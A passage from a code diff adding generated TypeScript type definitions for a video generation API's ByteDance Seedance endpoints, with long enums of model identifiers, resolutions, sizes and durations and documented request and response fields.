'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosBytedanceSeedance15ProRequestModelEnumKey = + (typeof openrouterPostVideosBytedanceSeedance15ProRequestModelEnum)[keyof typeof openrouterPostVideosBytedanceSeedance15ProRequestModelEnum] + +export const openrouterPostVideosBytedanceSeedance15ProRequestResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosBytedanceSeedance15ProRequestResolutionEnumKey = + (typeof openrouterPostVideosBytedanceSeedance15ProRequestResolutionEnum)[keyof typeof openrouterPostVideosBytedanceSeedance15ProRequestResolutionEnum] + +export const openrouterPostVideosBytedanceSeedance15ProRequestSizeEnum = { + '480x480': '480x480', + '480x640': '480x640', + '480x854': '480x854', + '480x1120': '480x1120', + '640x480': '640x480', + '720x720': '720x720', + '720x960': '720x960', + '720x1280': '720x1280', + '720x1680': '720x1680', + '854x480': '854x480', + '960x720': '960x720', + '1080x1080': '1080x1080', + '1080x1440': '1080x1440', + '1080x1920': '1080x1920', + '1080x2520': '1080x2520', + '1120x480': '1120x480', + '1280x720': '1280x720', + '1440x1080': '1440x1080', + '1680x720': '1680x720', + '1920x1080': '1920x1080', + '2520x1080': '2520x1080', +} as const + +export type OpenrouterPostVideosBytedanceSeedance15ProRequestSizeEnumKey = + (typeof openrouterPostVideosBytedanceSeedance15ProRequestSizeEnum)[keyof typeof openrouterPostVideosBytedanceSeedance15ProRequestSizeEnum] + +/** + * @description ByteDance: Seedance 1.5 Pro (bytedance/seedance-1-5-pro) — model-constrained video generation request. ByteDance's next-generation audio-visual generation model with a 4.5B parameter Dual-Branch Diffusion Transformer architecture. Seedance 1.5 Pro generates video and audio simultaneously in a single unified pass — eliminating the timing... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance15ProBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBytedanceSeedance15ProRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosBytedanceSeedance15ProRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBytedanceSeedance15ProRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: watermark, req_key. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBytedanceSeedance15ProRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosBytedanceSeedance15ProRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBytedanceSeedance15ProOptions = { + body: OpenrouterPostVideosBytedanceSeedance15ProBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBytedanceSeedance15ProResponses = { + '200': OpenrouterPostVideosBytedanceSeedance15ProStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBytedanceSeedance15ProResponse = + OpenrouterPostVideosBytedanceSeedance15ProStatus200 + +export const openrouterPostVideosBytedanceSeedance20Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20Status200StatusEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20Status200StatusEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance20Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBytedanceSeedance20Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBytedanceSeedance20RequestAspectRatioEnum = { + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '4:3': '4:3', + '16:9': '16:9', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20RequestAspectRatioEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20RequestAspectRatioEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20RequestAspectRatioEnum] + +export const openrouterPostVideosBytedanceSeedance20RequestDurationEnum = { + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosBytedanceSeedance20RequestDurationEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20RequestDurationEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20RequestDurationEnum] + +export const openrouterPostVideosBytedanceSeedance20RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 